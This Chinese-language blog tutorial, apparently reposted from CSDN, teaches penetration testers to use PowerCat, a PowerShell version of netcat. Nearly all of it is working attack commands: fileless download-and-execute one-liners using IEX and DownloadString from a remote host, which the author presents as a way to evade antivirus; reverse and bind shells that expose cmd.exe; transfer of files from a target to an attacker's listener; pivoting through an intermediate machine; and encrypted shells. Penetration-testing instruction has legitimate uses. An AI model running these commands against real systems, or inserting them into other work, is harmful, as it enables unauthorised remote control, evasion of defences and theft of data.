🍬 写在前面
👨🎓 博主介绍:大家好,我是 vortex5 ,很高兴认识大家 ➤ 主页传送门
✨主攻领域:【网络安全】【渗透领域】【SRC挖掘】【靶场复现】 📝欢迎大家关注我的 vx 公.众.号:飓风瞭望 🎉如果本文对您有所帮助,请点赞➕评论➕收藏 一键三连😋 🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步 🙏作者水平有限,欢迎各位大佬指点,相互学习进步呀~

1. 什么是 PowerCat
PowerCat 是一款完全基于 PowerShell 的网络工具,被称为 Powershell 版的 nc,专为渗透测试设计。
核心特点
- 无额外依赖:完全基于 PowerShell,无需额外安装任何软件。
- 跨平台兼容:可与经典的 Netcat 无缝对接,支持 TCP、UDP 和 SSL 协议。
- 多功能集成:支持反向 Shell、绑定 Shell、文件传输和加密通信等功能。
2. 安装 PowerCat
GitHub 地址:https://github.com/besimorhino/powercat
Kali Linux 中已预安装 powercat 命令,其自带的脚本文件文件路径为:/usr/share/windows-resources/powercat/ ,可将该文件拷贝到目标 Windows 系统中运行。
在渗透测试中,可通过 Python 启动一个简单的 HTTP 服务,然后使用 wget 或其他工具将 PowerCat 脚本传输到目标靶机。
脚本导入
-
下载 PowerCat 后,使用以下命令导入模块:
Import-Module .\powercat.ps1注意:
.ps1是 PowerShell 脚本的扩展名,其本质是一个纯文本文件。 -
如果提示“未能加载指定模块”,可能与权限设置相关,需调整 PowerShell 的执行策略。
知识扩展:执行策略
PowerShell 为防止恶意脚本执行,设有执行策略。默认策略为 Restricted,即禁止运行任何脚本。
-
查看当前执行策略
Get-ExecutionPolicy示例输出:
PS C:\Users\teamssix> Get-ExecutionPolicy Restricted -
执行策略类型
Restricted:禁止运行脚本。RemoteSigned:允许运行本地脚本,网络下载的脚本需具有可信签名。AllSigned:仅允许运行由可信发布者签名的脚本。Unrestricted:不限制脚本运行,无需签名。
-
修改执行策略
使用以下命令设置执行策略(需管理员权限):Set-ExecutionPolicy Unrestricted设置完成后,即可正常导入 PowerCat 模块。导入成功后,运行以下命令查看帮助信息:
powercat -h
进阶用法:无文件落地执行 PowerCat
除了将脚本文件直接拷贝到目标系统后执行,还可使用 PowerShell 的特性实现无文件落地执行。
无文件执行的优势
无文件执行指在目标系统中直接从网络获取 PowerCat 脚本,并将其加载到内存中运行,而不在系统中保存实体文件。这种方式隐蔽性更高,更难被传统杀毒软件检测到。
实现方式 利用 PowerShell 内置的命令,可以直接从远程服务器加载并运行 PowerCat 脚本,无需任何本地存储操作。例如:
- 方法一:通过 Net.WebClient 下载并执行
IEX (New-Object Net.WebClient).DownloadString('https://192.168.111.128/powercat.ps1')
- 方法二:通过 Invoke-RestMethod 下载并执行
IEX (Invoke-RestMethod -Uri 'https://192.168.111.128/powercat.ps1')
注意事项
- 某些安全防护产品已具备流量检测和内存监控功能,能够发现此类攻击行为。
- 无文件执行并非绝对安全,攻防双方技术不断演进,因此需根据目标环境动态调整策略。
渗透测试和防御技术的对抗是动态发展的,没有绝对完美的攻击手段,也没有绝对有效的防御措施。攻防能力的高下取决于技术的深入理解与灵活运用。
3. PowerCat 使用场景
获取 Shell
PowerCat 提供了绑定 Shell 和 反向 Shell两种方式帮助渗透测试人员获取目标机器的 Shell 。
反向 Shell
反向 Shell 场景中,目标机器会主动连接攻击者的监听端口并提供 Shell。这种方式特别适用于目标机器位于防火墙后或 NAT 网络环境中,攻击者无法直接访问目标机器的情况。
在攻击者机器执行: 开启监听,等待目标机器连接:
powercat -l -p 5555
-l:监听模式;-p 5555:监听端口为 5555。
如果攻击机是Kali,也可使用nc等命令监听。
在目标机器执行: 目标机器主动连接攻击者并获取 Shell:
powercat -c <攻击者IP> -p 5555 -e cmd.exe
-c <攻击者IP>:指定连接到攻击者的 IP 地址;-p 5555:连接攻击者监听的端口;-e cmd.exe:提供命令行界面。
如果采用无文件落地的方式,也可一步到位:
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c 你的公网ip -p 监听的端口 -e cmd
一旦连接建立,攻击者即可在自己的终端上获取目标机器的命令行权限。
绑定 Shell
在绑定 Shell 场景中,目标机器会监听指定端口,等待攻击者主动连接并获取 Shell。这种方式适用于攻击者能够直接访问目标机器的网络环境。
在目标机器执行:
powercat -l -p 4444 -e cmd.exe
-l:开启监听模式,使目标机器等待连接;-p 4444:指定监听端口为 4444;-e cmd.exe:将目标机器的命令行界面绑定到该端口。
在攻击者机器执行: 在攻击者机器上使用 PowerCat 或类似工具进行连接:
powercat -c <目标IP> -p 4444
攻击者执行该命令后,即可连接目标机器并获得命令行访问权限。
文件传输
PowerCat 不仅可以获取 Shell,还能快速高效地进行文件传输,无需借助其他工具。其文件传输功能既可以用于上传文件到目标机器,也能从目标机器下载文件。
上传文件到目标机器
-
在目标机器上监听并接收文件:
powercat -l -p 4444 -of received_file.txt-of received_file.txt:将接收到的文件保存为received_file.txt。
-
在攻击者机器上传送文件:
powercat -c <目标IP> -p 4444 -i file_to_send.txt-i file_to_send.txt:指定待发送的文件。
从目标机器下载文件
-
在攻击者机器上监听并接收文件:
powercat -l -p 5555 -of downloaded_file.txt-of downloaded_file.txt:将接收到的文件保存为downloaded_file.txt。
-
在目标机器上发送文件:
powercat -c <攻击者IP> -p 5555 -i file_to_send.txt-i file_to_send.txt:指定要发送的文件。
这种文件传输方式高效、简单,不依赖外部工具,适用于快速传递文件。
管道转发
PowerCat 还可以用于实现管道转发,作为跳板连接不同的网络或设备。例如,当目标机器需要访问不同网络时,可以通过 PowerCat 转发流量,利用中间机进行跳跃式攻击。以下为示例使用场景:
在 Windows 2008 机器上执行:
powercat -l -p 6666 -e cmd.exe
在 Windows 7 机器上执行:
powercat -l -v -p 8000 -r tcp:192.168.138.138:6666
在 Kali Linux 机器上执行:
nc 192.168.1.111 8000 -v
在此场景中,Kali Linux 机器可以通过 Windows 7 机器的转发功能,连接到 Windows 2008 机器,从而绕过网络限制,实现访问。
加密传输
为了保护数据的安全性,PowerCat 提供了加密功能,以防止数据在传输过程中被拦截或篡改。
开启加密传输:
powercat -l -p 4444 -e cmd.exe -enc
-enc:启用加密传输,确保数据传输过程中的安全性。
在攻击者机器上解密连接:
powercat -c <目标IP> -p 4444 -dec
-dec:解密传输的数据,确保攻击者可以读取来自目标的加密数据。
启用加密功能后,所有传输的数据都将经过加密,避免被中途监听或截获,增加了通信的安全性。
总结
PowerCat 是一款功能强大的网络工具,在渗透测试中具有广泛的应用场景。无论是获取 Shell、文件传输,还是管道转发和加密传输,PowerCat 都提供了灵活高效的解决方案。通过合理利用 PowerCat,渗透测试人员可以在多个层面提高攻击效率。
原文 https://blog.csdn.net/2301_79518550/article/details/144678015